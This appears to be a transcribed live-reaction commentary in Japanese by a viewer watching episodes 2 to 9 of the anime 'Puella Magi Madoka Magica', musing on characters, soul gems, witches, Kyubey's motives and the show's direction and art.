それっぽい。\n魔女は人の生命力を吸い上げるっていうのは初出の情報かな、知らなかったかも。\n（魔女の結界入り） というか、マミさんは一般人が魔女空間に入ったら危ないってしっかりわかってるのに、なんでこの2人を連れ回しているんだい？危ないから避難させた方がいいんじゃないかな 。\nこの体験コースで、これでとりあえず体験してみて、まあ気に入ったら魔法少女にどうですかっていうこと？\nふむふむ、名前とか魔女のやつ出てくるんでしたっけね、魔女の名前。\n魔女文字を解読するとドイツ語になって、ドイツ語をそれで日本語に直すのか。大変だ。頑張ればできそう。\n（巴マミ戦闘シーン） あ、本当に名前出てる。すごいそれっぽい。魔法少女アニメっぽい感じで敵の名前が出る。\nかっこいい～。魔法少女になるパターンって、身体能力がすごく高くなるパターンと、そうじゃないパターンがあるけど、どっちなんだろう。\n高くならないパターンだったら、壁に叩きつけられた時にめちゃめちゃ痛そう。\nかっこいい。その紅茶、どっから出したの？\n（グリーフシードとソウルジェムについて＆暁美ほむら撤退） そうそう、あったあった。こんな、なんちゃらシードみたいなやつ。\nなるほど、やっぱりあのソウルジェムの中に魔力があるんだ。で、使うと消耗しちゃうんだ。わかったぜ。\n慣れ合わないぜってことね。ほむらちゃんは。\n飛び降りた人、赤いイヤリングに、赤いネックレスに、おしゃれさんでいいですね。\nママの保養力。\n（「それはとって嬉しいなって」＆ED) サブタイトル回収。あ、サブタイトル回収したと思ったらエンディングになっちゃった。え、早いね。いや、面白いからだろうね、多分一話一話が早くていいですね。\nああ、平和なエンディングですね。\nまどかの描いたイラスト、中学生が描いたイラストみたいでいいですねって言ってしまってすみません。5 そうそう、絵うまい人が描いた中学生のイラストはああなる。\nいやいや、ちゃんと「絵うまい中学生の絵ですね」って私は言ったんで、ちゃんと褒めてますよ。大丈夫大丈夫。\n第3話 （上条恭介登場） もう恭介くんのこと、結構序盤から描写されてるんだ。サイドテーブルに積まれてるの本かと思ったらCDだった。あ、まだ有線イヤホンで分け与えられる時代、いいですね。\nああ、悪いの手ですか。手というか腕というか。足かと思ってた。忘れてたぜ。確かにそうだった。弾けない状態になっててみたいだったはず。\n（OP） このオープニングが、だんだん唯一の癒しになっていくんだろうな。\nでも三話になっても主人公たちが魔法少女になんないの当時見てた人たち相当焦らされてて、なんかまあイライラというか、こうモヤモヤしてただろうな。「もう何も怖くない」 、何が？\n（魔女について＆叶える願い＆巴マミの境遇） シャフト製のアニメは、建物も何もかもが規模が大きいから。\nなんか地味に厄介なこと言ってたな。使い魔がいて、使い魔も成長すると本体と同じくらいの強さになるけど、本体なのか使い魔なのかの識別はできないから、使い魔の方を倒す と外れってことか。\nあっ、もしかして中学三年生にしてマミさんが一人暮らしなのって、事故で両親を。悲しいぜ。\nいや、さやかちゃん、でもあの、多少先のことを知ってるから。まあ、知ってなくても言うけど、他人のために戦うのはだいぶ危うくて危険だぞ。やめときなさい。その人にすが ることができなくなった時に、心が折れる。\nそう、マミさんもそう言っている。\n願いを得てから魔法少女になるってことは、マミさんの両親。あ、でもそうか。まだ両親を生き返らせてっていう願いをマミさんがしたかどうかは決まってないもんね。\nああ、なるほど。両親は助からなかったけど、自分を助ける代償としてってことか。\n（キュゥべえの勧誘＆鹿目家＆巴マミとキュゥべえ） すごい。毎晩毎晩枕元で勧誘してくるマスコット嫌だな、ちょっと。毎晩の描写はなかったけど、絶対毎晩勧誘してるでしょう。\nお母さん、大変そうですね。飲み会も必要な飲み会なのかな。家族仲が良くていいですね。\n一般人を危険に巻き込んでいるのは、それはそう。本当にそう。まあでも一人で戦うの心細いですからね。できるなら仲間になってほしいだろうし。\n魔法少女の素質って何？ 持ってる魔力の多さとかかな。強さ、もしくは。\n（魔女の結界侵入） そんなグリフシード刺さってるもんなんだ。刺さった後にまあ、羽化なり孵化なりするんだ。\nあれあのウェーブ髪の人を助ける展開じゃないの？ あのウェーブ髪の子、一気に影なくなっちゃったけど、この後物語に絡んでくるんですよね？ お願いだよ。出てきてよ。\nそれで、一人閉じ込められた……駄目だ、まだ名前覚えられてない、青い髪の子がどうにかするために、そう、さやかちゃん、さやかちゃんが自分じゃどうしようもなくなって契 約するのかな。\nまあ、願い事自体はさやかちゃんは危ういけど、心に決めているものはあるだろうし。\nあっ、なんかこのシルエット見たことある。このキャンディーみたいな頭のシルエット。なんかすごくやばい予感がします。\n（巴マミVS暁美ほむら） 仲悪いな、この魔法少女2人。「エリサスチョコレート」って書いてあった。確か魔法じゃない魔女の心象風景というか、この世界って生前の魔女の願いを反映していると聞いた ことがあるような気がする。\n魔法少女になるのが願いならで、願いがないと魔法少女になれないなら、まどかって魔法少女になれないんじゃないかな？\n魔法少女になりたいのは願いなので、魔法少女にしてくださいって言ってなることはできるのか。なれそう、確かに。\n（巴マミVSお菓子の魔女） いやー、やっぱり仲間を求めてたんだな、マミさんは。いや、中学三年生なんてそんなもんだよ。\nいやー、可愛い願い事でいいですね。ケーキ。\n3話にして変身バンクだと思ったけど、変身バンク短かった。変身バンク長めのくるくるしたやつ欲しい、魔法少女ものだったら。マギレコはあるんですね、そういうのが。サ終 してるものをご覧くださいと言われても。\nじゃあ、アーカイブを見ます。あれマミるのって四話じゃなかったっけ？ 三話だっけ。\nかわいい。ああ、この魔女かわいいですね。すごい好き。うん。\n（マミった） あ、いいですね。この死んだことを魔法の解除で悟らせるやつ。\nさらにグロくなってる。マミさん殺したけど、なんか魔女の造形が可愛すぎて憎めない。\nえっ、血？ 魔女が死んだ時には血って流れないから。あれ、マミさんの血だよね。怖～。\n（さやかの八つ当たり） えっ、さやかちゃん。えっ、でも今回はほむらちゃん悪くなくない何も。今回はほむらちゃん悪くないから、むしろ救ってくれたから怒る理由はないと思うよ。\nそっか、三話だったか、死んだの。正直こっから先覚えてないかもな。そう、ここまで有名だから。ここまで有名だから一旦見とこうと思って当時見て、まあ虚淵だったらこんな もんかっていって満足して、あんま見なくなった記憶はあります。\nなんか単に仕掛けるとしたら、ただの魔法少女じゃなくて、こういう感じのものを挟んでくるようなみたいなことを思っていた記憶があります。マギレコを見ろってことですね。\n見ろか、やれか。\n第4話 （異様にデカい建物） 事故で手も足も動きづらくなったってことなのか。\n何階建てなんだ、この建物。1234567……30階以上ありそう。\nいや、ボタンですよ、あれ。こっからどうなるんだっけな。でもさすがにさやかちゃんとまどかちゃんのどっちか魔法少女にならないと、戦う術がほむらちゃんしかなくなっちゃ うから。多分、さやかちゃんの方が魔法少女になってまどかちゃんはまだだった気がする、確か。\nまあ、この絵柄だからギリギリ許されてるけど、ここ数日とはいえ、一緒にいた先輩の首がチョンパされた上にぐちゃぐちゃ食べられたシーンを見てしまったら、情緒も不安定に なるよね。\n先生がずっと婚活について愚痴ってる。授業しなさい、先生。文法の説明はしてたか。\n（手を引くはずがない宇宙人） ああ、あれか。仁美ちゃんが物語に関わってこないの、こう、あえて日常をまあ送る仁美ちゃんと、何も知らない仁美ちゃんと知ってしまった2人の対比なのか。\nまあ、一度決めたことならやれと、さすがに中学二年生には言えないし、大いに悩めばいいと思うよ。\nああ、グリフシード目当てで狩ってるだけと思ってるんだ、さやかちゃんは、転校生、ほむらちゃんのことを。でもそれでよくない？ 結果的には討伐してくれてるわけだし。\n本当にキュゥべえ、ここで手を引こうと思っているのかな。絶対まどかちゃんのことを狙ってると思うんだけど、「まどか」しか言わない。さやかのことは？\n「一緒にいて楽しかったよ、さやか」って言ってくれないの？\nマミさんのとこの家、どうなるんだろうなぁ。魔法少女のことについて書いたノートをマミさんの家に置くってことは、もう魔法少女になれないって言ってるようなのと同じって ことかな。\nあ、もうこれほむらちゃん、まどかちゃんが魔法少女になったらろくな運命にならなかったって言ってるようなものだよね、ほむらちゃんは。\n学校に来てないのに？ 誰か気づいてあげようよ、死んだこと。死体が出るのと行方不明のままなの、どっちがいいかは人によるよね。\n自分自身の祈りのために、か。ちょっと意味深な言い回し。さやかちゃんはほむらちゃんのこと多分めちゃめちゃ嫌いだけど、まどかちゃんはそうでもないんだよね、多分。\n（恭介の逆鱗ストライク） ここですぐドビュッシーって出てくるのが果たして、そうだよね。聞く柄じゃない。聞く柄じゃないのに覚えてるのは、まあ自分が好きだからなのか、もしくは恭介と話を合わせ るためか。\n全部言うじゃん、ありがとう。そうだったんだね。解決が早かった。\nいや、なんか、じゃあCD、最初に買ってきた時に「聞きたくない」って言いなさいよって思ってしまうけど、でもそれを言わずに付き合ってあげてたのも多分、恭介君の優しさ だろうから何とも言えない。\nあー、最近もう多分そこでもう弾けないって絶望している時に、CDを買ってきてしまったがために逆鱗に触れてしまった。\n（魔女の結界侵入） ほむらちゃん、基本的に誰ともうまくいってないよね。\n仁美ちゃん、でもやっぱ仁美ちゃん、巻き込まれポジなんだ。あ、すごい犠牲者がいっぱいいる。今回の魔女強そう。\nほむらちゃんとはテレパシー通話できないんだね。ああ、うん。いや、あれ、キュゥべえを介してるってことは、じゃあ、ほむらちゃんはあのキュゥべえと繋がってないってこと か。\nまあ、キュゥべえと仲は良くなさそう。\nでもじゃあ逆に言うと、あのキュゥべえと契約しなくても魔法少女にはなれるってことで、確かキュゥべえって一体じゃないみたいな話をどっかで聞いたことある気がする。\n口も覆わず、液体を混ぜたバケツを運ぶ。かなり危ないことをしている気がするけど、まあ、うん、勇気はある。\n（魔法少女さやか☆マギカ） ええ、誰が迎えに来るんだろうなぁ。展開的には奇跡も魔法もあるって言って、恭介君を治したさやかちゃんかなあ。また可愛いシルエット。\nテレビが好きだった魔女か。あ、さやかちゃん。さやかちゃんの武器なんだろう？ 刀だった。かっこいい。\n衣装、どうやって準備されるんだろう？ こういう衣装にしたいって思った時に、最初の変身で生成されるのかな？ よく似合ってると思う。\n戻った。\n（佐倉杏子登場） あ、赤い人。名前は忘れました。なんか一緒に死んでくれる人っていうイメージしかない。それだけはちょっとネットのネタバレで知ってしまっている。\n杏子さん。ああ、きな臭くなってきましたね。\nまあ、みんながみんな、多分マミさんみたいな人の方が本当にレアなんでしょうね。グリーフシードを分け与えるみたいなことする人が。\n討伐報酬を分け与える人いませんからね。普通全取りしたい。\n（目の付け所が珍しいタイプのオタク）6 エンディングの順番珍しいな。作画監督、最後から3つ目に来るんだ。\n第5話 （OP＆サブタイトル） なんかキュゥべえは「君たちにはがっかりだよ。じゃあね」みたいな去り方したのに去ってなかったんかい。\nなんかこう、心から生成される何かなのかな、グリーンシードは。出てきたところ的に。\n『まどか☆マギカ』の英語タイトルってどういう意味なんだろう。「なんちゃらマギまどか☆マギカ」って書いてあったけど、なんちゃらの部分の単語がよくわからなかった。多 分そんなそんな単語でした。知らなかった。\nマジガールとかマギガールよりも全然それっぽくていいですね。「後悔なんてあるわけない」。本当かな。「後悔なんてあるわけない」って口に出して言ってる人はだいたい後悔 してると思うけど、本当かな。\nそうですよね。自分がないって言ってるんだから、ないに決まってる。\nこら、ほむらちゃん。机に座っちゃいけません。\nそうなると、ここを守る魔法少女がいなくなった時って、よくわからない大量殺人事件が米花町並みに起こる気がするけど。\nこの世界って実は結構……ああ、まあそうか、全部。まあ、すごい自殺が特異点的に多い地域ってことになっちゃうのか。\n必ずみんな自殺みたいなことになるんだ。死に至らないけど、ギスギスするとかもあるんですね。それはそれで。\n（in病院） やっぱまあ、治安悪くなりますよね。あれ、また椅子がめちゃめちゃある。前椅子こんななかった気がするけど増えてる。\nなるほど。それで椅子が足りなくなって、お見舞いの人用に。\nいやあ、甲斐甲斐しいですね、さやかちゃん。多分雰囲気的にお父さんがなんか楽器系やってて、それで子供の恭介もって感じなのかな。\n拍手してない看護師の人いた。怖すぎる。あっ、ちゃんと引きの画だと拍手してたからよかった。\n（ほむらとの会話） ああ、変わったデザインの望遠鏡かなと思ってたら、細工してたのか。\nそうとも言えるは言えるんだ。契約自体はしてるとも言えるんだ。\nなんか雰囲気険悪ではあるけど、カフェに呼び出されて、まあ多分まどかちゃんが呼び出したんだと思うんだけど、来てくれるほどではあるんだ、嫌ってはないんだ、ほむらちゃ んは。\n爪、爪どうした爪になんか謎のマークがあった。なんか指輪もしてたんですよね、指輪もしてた上で、爪に何か紫の印があって、マミさんは確か爪に何かあったかな、なかった気 がする。\nほむらちゃんが協力しようと思っても、さやかちゃんが嫌だって言いそう。仲悪いから。あの2人仲悪い。\nまあ、ほむらちゃんの責任じゃないよ。自分の意志で、かなりそそのかされていたとはいえ、自分の意志でなりたいっていう人を止めろ、止めなくちゃいけない権利はないよ。\nほむらちゃんのテリトリーはどこなんだろう。多分ないとソウルジェムが濁って大変なことになると思うんだけど、そのあたりなのかな\nマミさんはまだまあ、止めるべき人がいないからわかるけど、さやかちゃんの両親は深夜徘徊を止めるべき。\nまあ、魔法少女じゃない人巻き込むなってマミさんの時のように言いたいとこだけど、まあ、心細いのはわかるよ。\nさやかちゃんは誰がいなくても誰がいても無茶はしそう。なんだったら、守るべきものがあった時に逆に無鉄砲になるタイプだと思う。どっちにしろ無茶するんだよな、多分。\nあ、爪にやっぱりみんな爪に何かあるんだ。青いCのマークがついてた。ついてましたね、今。\n（魔女戦） やんちゃな魔女きたなあ。変身バンクまあ短いけど上から下まで舐めるやつがあってよかった。\nああ！ 戦い方がマミさんと似たような感じになってる！ やっぱり師匠として心の中では生きてるんだ。\n槍長っ。使い魔は魔女にはなるんだ。\nベテランの魔法少女っぽい赤い人。えっと、杏子さん。\n魔法少女によって、やっぱり何の能力に特化しているかってあるんだ。人を治すために契約したから回復力があるんだ。\nすごい扱いづらそうな武器。使ってるな、杏子さん。\nキュゥべえはさ、善意で魔法少女を作っているわけ？キュゥべえはなんか、キュゥべえなりに目的があるんじゃないの？\n日朝でもマスコット枠に目的はあるよ。\n助けに来た、珍しく。今のなんか、この地球を救うためとかではない気はする。\nまあ、やってることはなんか魔法少女を作って魔女と戦わせるみたいな、結果的には地域の治安を維持してる人になってるけど、そのために魔法少女と友人を派遣している人にな ってるけど、なんかそれは目的では別にない気がする。\n（オタク） 作画監督3人もいる。はい。\n第6話 あれ、絵柄なんか変わった？ なんか、色のコントラストが強くなったのと、線が太くなった気がする。いや、気のせいかもですが、ちょっと。\nそう、キリッとした感じになった気がしますね。\n多分この場合の愚かっていうのは、魔法少女にならないこともそうだけど、魔法少女自体の界隈に首を突っ込んでほしくないのかな、ほむらちゃんはまどかちゃんに。\n思わせぶりなまさか。\nなんかほのかな記憶がよみがえってきたんですけど、この仁美って人すごい危険な気がする。なんかあの、そういえば確か恭介君と仁美さんってさ、なんかどうにかなんなかった っけ？いや、ほのかに思い出してきたんですけど。\nまさかね、こんな日常の象徴みたいな仁美さんが話の筋にここから関わってくるなんてことないですよね。\nあ、キュゥべえ、クリーフシードを食べられるんだ。やっぱ役目なんかあるよね。汚れを食べるのが役目なのか。\nグリーフシードを食べるのが役目なのかわかんないけど。\n単純な戦闘経験の差もありそうだけど。\n嫌だろうなぁ。守る対象だと思ってるまどかが魔法少女の天才なんてことになってなっているって言われたら。\n（佐倉杏子との会話） プレイ中の飲食はご遠慮ください。咥えポッキーはセーフですか。にゃーん。\nワルプルギスの夜、聞いたことはある。まどか☆マギカにとってのワルプルギスの夜。でも、何が起こるのかはよくわかってない。\nポッキーじゃなくて、ロッキーだった。\nさやかちゃん、そのポーズ何？\n果たしてさやかちゃんは魔女をやっつけるために魔法少女になったんだろうか？ 本当にさやかちゃんの一番やりたかったことって、恭介くんを治すことだから。\nまあ、退治は別にまあ目的ではない気はする。でも、まどかちゃんは多分そこらへんは知らないんだろうね。\n（鹿目家） 家族が巻き込まれる展開は確かにありそうありそうだし、そこでまどかちゃんが戦う覚悟を決めても確かにありかも。\n45度の風呂に……いや、シャワーを浴びてる。熱いのが好きなんだね。\n乾杯でそんなに届かないほど長い机使ってんのこの家族、もうちょっと小さくてもいいんじゃないかな。\nでもだいぶでしたよ。今の乾杯の遠さ。\n思い切って間違えるか、いいアドバイスだと思うんだけど、何を悩んでいるか詳細を知らないのになかなか言いにくいアドバイスではある。\nまあそうか、そうだよね。なんか人が死ぬとか、魔女とか魔法少女とか、そんな悩み事だとはつゆとも思っていなければ。学校での悩み事みたいなふうな一般的なのだと思うと、 今のうちに間違えとけとも言えるか。そうだね、確かに。\n普通の中学二年生にするアドバイスとしては、確かに間違いではない。お母さんもいろいろ間違って自分の道を決めてきたんでしょうね、今まで。\n椅子が二つある。なんで退院したことも教えてくれないんですか？ 恭介くん。\nさすがに連絡ぐらいはした方がいいよ。\n（杏子vsさやか） この杏子さんって人の食生活全部お菓子で成り立ってそう。ろくなご飯食べてなさそう。\nさりげなく止めてはいたね。「ちゃんと理由は考えなさい」みたいな感じで。\n今からバトルをします宣言だ。人目につきそうだ。エッサホイサって何？ まあテスト勉強ですかね、英訳して。\nわーい変身バンクだ。変身バンクって言っても2回流れることはないけど。\nよく分かったな、ああ、キュゥべえが知らせたのか、この場所。\nえ、怖い。いつの間に来たのほむらちゃん。あ、でもそうか。ベテランの杏子にも気配を悟らせないぐらい、背後を取れるぐらいほむらちゃんは強いっていう表れか。\n（輸送トラックで運ばれるさやかちゃん（本体）） え、でもソウルジェムを損傷したらどうなるんだっけ。あ、さやかちゃん的意識が。本体があっちになっちゃうんだ。ソウルジェムの方が本体で、もう体は器みたいな感じになっ ちゃうんだ。\nベテランの杏子ちゃんも知らなかったんだね。\nだいぶ人間としての倫理観が、当たり前だけど、ないキュゥべえ。でもハードウェアが体ってことは、他の人の体も操れたりするのかな。\n例えば、すごい筋肉ゴリゴリのマッチョマンに憑依するとか、見た目としてはだいぶあれになるけど、いけそうではある。\n死体を操るってこと？ ネクロマンサーってこと？\n自分の体しか操れないっていう制約が、この感じだとおそらくあると思うんですけど、夢はある。\nまあ、なんだろう。うーん、体にもう魂がなくてソウルジェムに移ってしまったっていうのがすごいショックなこととして描写されてはいるんだけど、本当にそれってショックな ことなのか、私にはいまいち理解できないかな。いや、うーんいや。\n魂の在り処がどこにあるかをそんなに気にするかって言われるのは、確かにそんなに重要視するべき話ではなくないか。キュゥべえ側の人間かも。\nまあ、そうですね。あの、そんなつもりじゃなかったのに、あの魔法少女としてキラキラ退治生活を送るはずだったのにというのは、もうマミさんの点でまあ考えてはないと思う んですけど、さすがに自分の体がまあ人間ではなく死体になってしまったっていうのは、まあショック……想定外だとしたらびっくりはするかもしれないね。\n第7話 （ソウルジェム云々） ああ、仁美ちゃんは魔女に操られて確かに言ってましたね。死んだ方がマシ的な、まあそこまでは言ってないけど。\n大事な説明を省略するのは、いや、キュゥべえにとっては大事だと思ってないんだろうね。まあ、それは本当にそう、知らなければ。\nなんか難しいこと言っている。普通に弱点になり得るというのも、魔女同士のバトルならともかく、魔法少女同士のバトルの時は、指輪なりなんなりのソウルジェム代わりのもの をパクってしまえば、それで勝ちになるわけだから、なんだったら外付け魔力にもできるかもしれないし、重要な話ではある。\n医者が「ここ痛いですか」って言って触るみたいなことしないでほしい。\nあ、やっぱりまあ、体が強くなるとは言わないけど、体に異変があるタイプの魔法少女ではあったね。痛覚も一応大事な感覚だから、ちょっとぐらいやってはほしい。損傷に気づ くためにも。\n感覚全体が鈍くなると、やっぱりそれは動きは鈍りますね。大事なことですからね、戦力が鈍ると死にますから、この魔法少女ってやつは。\n（OP～導入） ちなみにずっと不思議なんですけど、このオープニングで抱きしめている謎の2人目のまどかは何？\nというのはずっと不思議には思ってます。なんかメタファー的なサムシングみたいなのは確かにあるあるですね。\nまどかはまだ魔法少女ですらないので、完全に今巻き込まれポジ。あ、婚活に悩んでる先生。推定30歳以上。\nよかったね。ケーキと引き換えにしなくて。全然釣り合ってないもんね。ケーキとじゃ。\n奇跡の闇商人ってことか。キュゥべえは。\nほむらちゃんは知ってたんだろうね。ソウルジェムが自分になってしまったってことを。杏子ちゃんとテレパシーできるってことは、杏子ちゃんもあのキュゥべえと契約したんだ 。\n確かにそうですね。魔法少女同士じゃなくてもできるから、キュゥべえがこの人とこの人の意思をつなぎたいなって思ったらやってくれるんだ。なるほど。魔法少女じゃないとハ ブにする必要があるってことか。そんな気がしますね。\n（佐倉杏子の過去） なんですか、この教会みたいなところは派手な階段がある。でかいでかい教会。\nめちゃめちゃ食うに困ってた時期があるんだろうね。そんなエピソードもおぼろげにあった気がする。親父の教会なんだ。立派な教会をお持ちだったんですね。\nきな臭くなってきたな。\n今までそんな信頼されて、こんな大きい教会も任されるくらいだったのに、そんな手のひらくるーされるんだ。\nすごいね。そこで「信じてくれますように」じゃなくて「真面目に聞いてくれますように」なんだ。\nその割になんかすごい信者が増えましたみたいな描写にはなってるけど。親父よく信じてくれたね、そのカラクリ。\n親父のメンタルがちょっと弱すぎるかも。まあ、弱い人は優しいとも、優しい人は弱いとも言わないけど、弱いかつ優しい人だったんでしょうね。\nこう、仲間意識が2人にちょっと芽生えてるかも。まあ、今のところ杏子ちゃんから一方的にだけど。\nなんだろう。下手にこの後どうなるか知っちゃってるから、なんとも言えないな。すがるものを失った時に、さやかちゃんはそう言えるのかな。もう一回。\n杏子ちゃんはどうやってお金を得てるんだろうという純粋な疑問を得てしまったが、働いてはなさそう。ああ、でも盗品なんだ。親の保険とかあるのかなとか思っちゃったけど、 全然盗品だった。\n（恋バナ） さやかちゃん、もじもじして可愛いね。嫌な予感しかしない。\n多分これ、仁美ちゃん知ってるでしょう、さやかちゃんが恭介くんのこと好きだって。\nじゃなかったら、わざわざこうやって2人きりで呼び出して、いきなり恋の話しないでしょう。\nえ、さやかちゃん、なんて言うの、これ。仁美さん、意外と優しいというか、出し抜く真似はしなかったのはすごい友情を感じるけど、それを受けてさやかちゃんがどう選択する のかは、正直予想がつかない。\nわからない。でも結構さやかちゃん、甘いところあるから、私から告白しなくても、今までずっと私は恭介の世話を焼いてきたんだから、恭介もそれに応えて私を選んでくれるは ずとか思ってそう、な気がする。\nで、自分から告白せずに私を選んでくれるって待ってたら……。\nいや、待って、同じ展開、『化物語』で見たな。私はでもそう思います。誰が誰とは言いませんが、そういう話もありました。\nああ、そっか。その負い目もあるんだ。自分がもう死んでるから、恭介と結ばれないみたいな。そっか、そういう考え方をするんだ。そっか。いや、ちゃんと自分の魂が外付けに されてしまったことを深刻に考えているんだね。\nうん、私は生きてると思っちゃうけど、多分さやかちゃん的にはもうゾンビになっちゃった扱いなんだろうね。ごめん、さやかちゃんのこと甘い女だと思って。ごめん、ちゃんと 考えてた。\n（バーサーカーさやか） やっぱり心に不安と不満を抱えた状態で戦うと苦戦もするね。\nだいぶ白黒でなんか雰囲気が出てていいですね。かっこいい。あ、なんやかんや助けに来てくれてる。杏子ちゃんもやっぱり優しいね。\nああ、痛みが。体の痛みはなくなってても、心の痛みはなくなってなさそう。まあ、そうですね。確かに自分をゾンビだと定義すればやりやすい。\nいや、ちょっと仁美ちゃんのことを誤解してましたわ、ごめんなさい、ちゃんとあらかじめ、何を立ててっていうのかわからないけど、ちゃんと先に操を立ててでもないけど、な んだろう、なんて言うんだろう。\n筋を通して、まあ、恭介君のことが本当はまあ、さやかちゃんは好きだと見抜いた上で、ちゃんと言うのは、筋は通してると思う。\nかつ、筋を通す必要は本来ないはずなのに、ちゃんと言ってるのは、仁美ちゃんのこともちょっと見誤ってた。まあ、恋愛話ですごいこんな盛り上がってしまっている。\nまあ、この恋愛話があってこそのさやかちゃんの曇り、曇らせですからね。\n（エンドカード） あんこがボロボロ落ちてる。\n第8話 さやかちゃんが曇ってきたらあたりで見るのを止めた気がするので、ちょっとあんま定かではないです。なんだったら自分で見たことなのか、ネタバレとしてSNSから得たこと なのかすらよくわからない。\nさやかちゃんのソウルジェム、だいぶ濁ってそう。まあ、それでもグリフシードを渡すってことは、自殺行為をしたいのか。どうだろう。そんな感じでもないんだけど、無意識に そういう行動に出てるのかな。\n（OP) いや、いつまどかちゃんはこのオープニングの衣装みたいなフリフリの服を着るのかなぁ。そもそも魔法少女になるかどうかは、私は何にも知らない。\n（さやか曇らせパート） あ、でも性能的に考えると、痛覚を遮断できる回復力の強い魔法少女って結構強そう。優秀なタンク。だからこそ攻撃力特化の、それこそ杏子ちゃんと組んで戦ってほしいところ ではある。\nまだソウルジェム濁ってはなかった。さやかちゃんにとっては、自分が自分の体で生きてるっていうのがすごい重要なことだったんだね。これだけなんか思い詰めるってことは。\n少なくとも、仁美ちゃんの言葉は結構メンタルに聞いてそう。\n何でもできるっていうのは、やっぱりキュゥべえの魔法少女として才能があるって言葉が響いてるのかな。多分、人間として何でもできるって感じではないから、多分魔法少女と してなんだろうね。\nあ、ソウルジェムが。\n（暁美ほむら家） ほむほむハウス。阿佐ヶ谷のアーケード商店街の奥の奥にあるほむほむハウス。謎の生活するためとは思えない空間のハウス。\nソウルジェムって魔力の使いすぎで濁ると思ってたけど、ソウルジェムが呪いをむとかあるんだ。やっぱ闇堕ちすると濁りが早くなるっていうのもあるんだろうね。\nなんか背景は全部魔女についていろいろ収集してるって感じの情報が表示されてたな。\n（前時代的な婚活先生） あっ、結婚はしなくてはいけないものではないため、mustとhave toとかみたいな話をしてそう、あの先生。\n（仁美の告白） ど、どうなるんだいこの告白はうまくいくのかい？\nあ、見てる。さやかちゃんが見てる。まあ、そして表情でうまくいったんだろうな、仲いいんだろうなっていうのはすごくよくわかる。あの2人、恭介君と仁美ちゃん。\nだいぶソウルジェムが濁ってきてる。なんか心が濁るとかストレスが溜まるじゃなくて、呪いを生み出してるみたいなことを言ってたけど、呪いが生まれるとどうなるんだろう。\nああ、この2人、本当に仲が悪い。ほむほむとさやかちゃん。逆に杏子ちゃんの信念の真逆を行ってしまった。\nこの人、まどかのことしか考えていない。\nあっ変身バンク。えっ、なんで今、変身バンク？ ああ、まどかを苦しめ続けるならってことで今、変身したのか。\n魔法少女ってどうやったら死ぬんだろう。多分、体をめちゃめちゃにしても、特にさやかちゃんは死なないと思うから、多分ソウルジェム狙い撃ちじゃないと死ななさそうな気が する。あれでもマミさん、普通に死んだな。さすがに。\nああ、そうなんだ。マミさんのソウルジェムって髪飾りだったんですね。なるほど。ああ、なるほど。劇場版は頭についたソウルジェムが破壊されたことがわかりやすい。確かに それはちょっと補足してほしいですね。不親切だった。\n確かに分かってる人向けの演出なのかも。じゃあ変身バンクちゃんと真面目に見てたら、みんなの変身後のソウルジェムがどこについているのか分かったってわけか。そこら辺は 集中して見てなかったな。変身バンクに興奮しすぎてて。\n（キュゥべえチーズ） めちゃめちゃ闇落ちしてきてる。キュゥべえがまた勧誘しに来た。たぶらかされてる。ほむらちゃんの言葉を思い出して。「なるべきではない」って言われてたでしょ。\nたぶらかされるな！ 最後までただなんとなく生きておけ！ 万能の神になるな！\nでもほむらちゃんが「なるな」って言ってるから、私も軽率に「なるな」って言ってるけど、ならない方がいいのかなあ。\nキュゥべえが死んだ。殺すタイミングとしてはナイスタイミングだった。\n今の手の甲の、これが変身後のソウルジェムの位置かな。ほむほむさんは。ですよね、多分それっぽい。あ、そうか、爪の模様と一緒なんですね。変身後のソウルジェムの形とい うか。\n（キュゥべえの由来） そして第二のキュゥべえが現れた。第二のキュゥべえが第一のキュゥべえ食べてる。一度目はいつだ？\nインキュベーター、インキュベーターってどういう意味だっけ？ インキュベーション。確かに、案内になってない。後ろの看板。\n抱卵、培養、保育の意、孵化の意。インキュベーション、なるほど。\nもう濁りに濁り切ってる、さやかちゃんのソウルジェム。\nまあ、肉体も吹っ飛んでったけど、実質死体だから用済みってこと？\nいや、ソウルジェム卵じゃん。そうか、卵から生まれたってことか。卵型である意味がなんとなくわかりました。つながってしまった、すべてが。\n第9話 （さやかの魔女＆OP） ああ、音楽モチーフですね。えっ今、さやかちゃんの体どうなった？ あっ、よかった。あった。\nまあ、魔女が魔法少女から生まれるっていうのは、実はネタバレとして多少聞いたことがあったので、そうなったのはわかる。\n死体だけが残ってしまったさやかちゃん。まあ、さすがに。まあ、あの後もうさやかちゃんの体の中に魂が戻ることは、ああなってはないでしょう。\n戻ったら嬉しいなぐらいで希望は持たない方がいいですね。今9話で全12話でしょう。この後の展開はあんま想像つかないですね。最終的にまどかが魔法少女になるかならない かの話になるのはなんとなくわかりますが。\nあと、仁美ちゃんはもうさやかちゃんを絶望させるための要因だから、もう話に絡んでこないだろうなというのもなんとなくわかる。出番あるかなぁ。仁美ちゃん、もうない気が するんだけどなぁ。どうだろう、期待はしないでおく。\n逃れられないんだなぁ、魔女になることは。\nなるほど。その誰かを憎む呪いや祟りがソウルジェムの中に充満すると魔女になるってことか。\nまあでも、死体を持ってきて両親に見せた方が死んじゃったんだなって分かりやすくて、行方不明よりは分かりやすい。\n子供がずっと行方不明よりかはちゃんと死んだってことが分かった方が救いはある気はする。どっちにしろ救いのない話ではあるけど。\n（キュゥべえの真意） 悪意も善意も持ってなさそう。この宇宙の寿命？\nやっぱりまどかの魔力がたくさんあるから強くて、だからキュゥべえに狙われているってことかな。\n椅子がやっぱりめちゃめちゃ意味ありげに描写されるのがとても気になる。\nキュゥべえ目線だとエントロピーが云々みたいなのは正当な理由というか、本当の理由なんだろうけど、それをまどかちゃんに話したところで、「あ、そうなんだ」で済むわけは ないよね。\nじゃあ、認識のミスが生じないように最初から全部話せ。報連相が足りない。まあ、それも確かに感情の揺れ動きを生じさせるために戦略的に伝えてないだけかもしれない。\n少なくとも、この状態のまどかが自ら進んで魔法少女になろうなんて気持ちになるとは思えないけど。何かしらの要因があれば話は別かも。\nこれはできそうということだけでやれと言ってるわけじゃないけど、適当な人一人捕まえてきて、「このさやかちゃんを魔法少女じゃなかった頃の人間に戻してください」って言 ったら、奇跡の力で可能ではあるのかな。\nそう、他の少女、誰か一人魔法少女にしてってこと。\nまあ、キュゥべえ的にもそのエネルギーが一人分増えるし、Win- Winの取引にはなるんじゃないかな。まあ、やれとはとてもじゃないけど、言ってないですけどね。不可能ではないと思う。元に戻すことが。\n（多分当時誰も助かると思ってなかった話） 